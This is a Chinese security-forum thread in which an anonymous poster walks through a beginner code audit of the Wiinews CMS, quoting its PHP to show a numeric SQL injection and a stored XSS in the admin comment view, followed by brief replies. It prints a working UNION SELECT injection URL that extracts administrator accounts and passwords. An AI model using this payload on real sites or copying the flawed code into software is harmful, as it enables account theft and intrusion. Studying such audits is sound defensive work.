查看: 13702|回复: 7

一次简单的审计过程(未完)

[复制链接]
匿名
匿名  发表于 2014-12-15 10:10:15 |阅读模式
本帖最后由 匿名 于 2014-12-15 10:16 编辑

    前言:分析的这套CMS比较垃圾,名字叫Wiinews,但也算小弟的第一次代码审计. 第一次发帖,文中有诸多不足.希望大家多多指点.小弟QQ 424237301,爱学习爱基友,希望能与大家共同学习交流!

    最近闲的一B,于是昨天去chinaz找了一个cms想审计下
        1.jpg
        2.jpg

   可以看到,已经带入数据库查询了.
   看下源码.
[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
    $id=sqlReplace(Trim($_GET['id']));
    $sqlStr="select * from wiinews_news where news_id=$id";
    $result = mysql_query($sqlStr) or die ("查询失败,请检查SQL语句。编码号:1010");
    $row = mysql_fetch_array($result);
    if ($row){
        $title=$row['news_title'];
        $subtitle=$row['news_subtitle'];
        $sort=$row['news_sort'];
        $name=$row['news_name'];
        $desc=$row['news_desc'];
        $content=$row['news_content'];
        $author=$row['news_author'];
        $source=$row['news_source'];
        $url1=$row['news_url'];
        $addTime=$row['news_addTime'];
        $newsStatus=$row['news_status'];
        $pic=$row['news_picture'];
        $comCount=$row['news_comCount'];
    }else{
        die ("新闻不存在。");
    }
    if ($newsStatus=="1")
        die ("新闻处于待审核状态");
  ?>


红色标记的sqlReplace()应该是对传入的参数做过滤的,看看他是怎么过虑的,找到function.php

[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function sqlReplace($str)
{
   $strResult = $str;
   if(!get_magic_quotes_gpc())
   {
     $strResult = addslashes($strResult);
   }
   return HTMLEncode($strResult);
}
function HTMLEncode($str){
    if (!empty($str)){
        $str=str_replace("&","&amp;",$str);
        $str=str_replace(">","&gt;",$str);
        $str=str_replace("<","&lt;",$str);
        $str=str_replace(CHR(32),"&nbsp;",$str);  //空格
        $str=str_replace(CHR(9),"&nbsp;&nbsp;&nbsp;&nbsp;",$str);  //tab
        $str=str_replace(CHR(9),"    ",$str); 
        $str=str_replace(CHR(34),"&quot;",$str); //"
        $str=str_replace(CHR(39),"&#39;",$str);  //'
        $str=str_replace(CHR(13),"",$str);  //回车
        $str=str_replace(CHR(10),"<br/>",$str); //
    }
    return $str;
}


这里他把一些字符给过滤了, = = 看着怎么好像……
来试试吧,咱们这里是数字型注入.所以应该是可以的.

3.jpg

exp :
[AppleScript] 纯文本查看 复制代码
1
http://localhost/xw/newsDetail.php?id=2/**/and/**/1=2/**/union/**/select/**/1,2,admin_account,admin_password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/Wiinews_admin


还有其他很多地方也有注入,比如搜索栏.

4.jpg

但是想一想.搜索栏搜索是怎样一条语句?

Select * from table_name where news_title like ‘%搜索%’

如果注入的话,好像没办法避免单引号一类的.

5.jpg

另外在新闻下面可以评论的.
可以试试评论有xss一类的洞洞没.

6.jpg

7.jpg

看下源码是怎么做的.

[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
    $action=$_GET["act"];
    switch($action){
    case "post":
        $id=Trim($_GET["id"]);
        $comment=HTMLEncode($_POST["comment"]);
        if(empty($comment)) {
            die ("评论不能为空。<a href='newsDetail.php?id=".$id."'>返回</a>");
        }
        if(strlen($comment)>420){
            die ("评论不能超过140字。<a href='newsDetail.php?id=".$id."'>返回</a>");
        }
        $sql="insert into wiinews_comment(comment_news,comment_name,comment_addTime,comment_ip,comment_content,comment_status) values ('".$id."','admin','".date("Y:m:d H:i:s")."','".$_SERVER['REMOTE_ADDR']."','".$comment."','".$commentCheck."')";
        if(mysql_query($sql)) {
            $sqlStr="update wiinews_news set news_comCount=news_comCount+1 where news_id='".$id."'";
            mysql_query($sqlStr);
            if($commentCheck=="1"){
                echo "评论需审核,请等待...<a href='newsDetail.php?id=".$id."'>返回</a>";
            }else{
                echo "评论成功!<a href='newsDetail.php?id=".$id."'>返回</a>";
            }
        }else{
            echo "评论失败!<a href='newsDetail.php?id=".$id."'>返回</a>";
        }
        break;
    }
?>


红色标记.原来是这样. HTMLEncode()
可是,可是。
当我手贱的打开后台留言板的时候却。。

8.jpg

这是什么情况?

继续看代码.

commentDetail.php

[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
        $id=sqlReplace(Trim($_GET['id']));
        if(empty($id)){
            alertInfo("非法访问",'',1);
        }else{
            $sqlStr="select * from wiinews_comment where comment_id=".$id;
            $result = mysql_query($sqlStr);
            $row = mysql_fetch_array($result);
            if($row)
            {
                $news=$row['comment_news'];
                $name=$row['comment_name'];
                $ip=$row['comment_ip'];
                $addTime=$row['comment_addTime'];
                $content=$row['comment_content'];
                $status=$row['comment_status'];
            }
        }
        $sqlStr1="select * from wiinews_news where news_id=$news";
        $result1 = mysql_query($sqlStr1);
        $row1 = mysql_fetch_array($result1);
        if ($row1)
        {
            $newsName=$row1['news_title'];
        }
    ?>



看着没什么问题嘛。。。。
但是。。
往下面继续看。。

[PHP] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
<div class="fromcontent">
            <p>评论人姓名:<?php echo $name; ?></p>
            <p>评论人IP:<?php echo $ip; ?></p>
            <p>评论时间:<?php echo $addTime;?></p>
            <p>评论所属新闻:<?php echo $newsName; ?></p>
            <p>内容: [<a href="news_do.php?act=del1&s=<?php echo $id?>">删除</a>] <?php If ($status=="1") {?>  [<a href="news_do.php?act=check&id=<?php echo $id?>">审核通过</a>] <?php }?></p>
            <hr/>
            <?php echo HTMLDecode($content);?>


他最后把编码后的内容给还原了? 还原了?还原了?


不习惯看贴的,这边有附件。可以自行下载.

文章.doc (324.5 KB, 下载次数: 9)
回复

举报

  • TA的每日心情
    奋斗
    2017-8-21 09:22
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2014-12-15 11:57:34 | 显示全部楼层
    很好的代码审计
    回复 支持 反对

    举报

  • TA的每日心情

    6 天前
  • 签到天数: 1633 天

    [LV.Master]伴坛终老

    发表于 2014-12-15 12:21:25 | 显示全部楼层
    既然是匿名,干嘛还加QQ?

    点评

    我才知道论坛可以匿名……  详情 回复 发表于 2014-12-16 09:14
    回复 支持 反对

    举报

  • TA的每日心情
    慵懒
    2017-1-5 19:19
  • 签到天数: 238 天

    [LV.7]常住居民III

    发表于 2014-12-15 17:25:54 | 显示全部楼层
    我现在才知道可以匿名发帖{:soso_e153:}- -
    回复 支持 反对

    举报

  • TA的每日心情
    慵懒
    2017-1-15 18:41
  • 签到天数: 412 天

    [LV.9]以坛为家II

    发表于 2014-12-15 17:50:50 | 显示全部楼层
    现在才知道可以匿名发帖
    回复 支持 反对

    举报

  • TA的每日心情
    难过
    2016-8-26 14:36
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2014-12-15 19:44:23 | 显示全部楼层
    为什么匿名?我也想做代审来着,求带啊
    回复 支持 反对

    举报

  • TA的每日心情
    奋斗
    2021-12-29 18:17
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2014-12-16 09:14:56 | 显示全部楼层
    90_ 发表于 2014-12-15 12:21
    既然是匿名,干嘛还加QQ?

    我才知道论坛可以匿名……
    回复 支持 反对

    举报

  • TA的每日心情
    开心
    2016-8-27 01:19
  • 签到天数: 50 天

    [LV.5]常住居民I

    发表于 2014-12-16 12:21:45 | 显示全部楼层
    小学生代码审计还玩不起
    回复 支持 反对

    举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2025-1-14 10:15 , Processed in 0.040923 second(s), 17 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部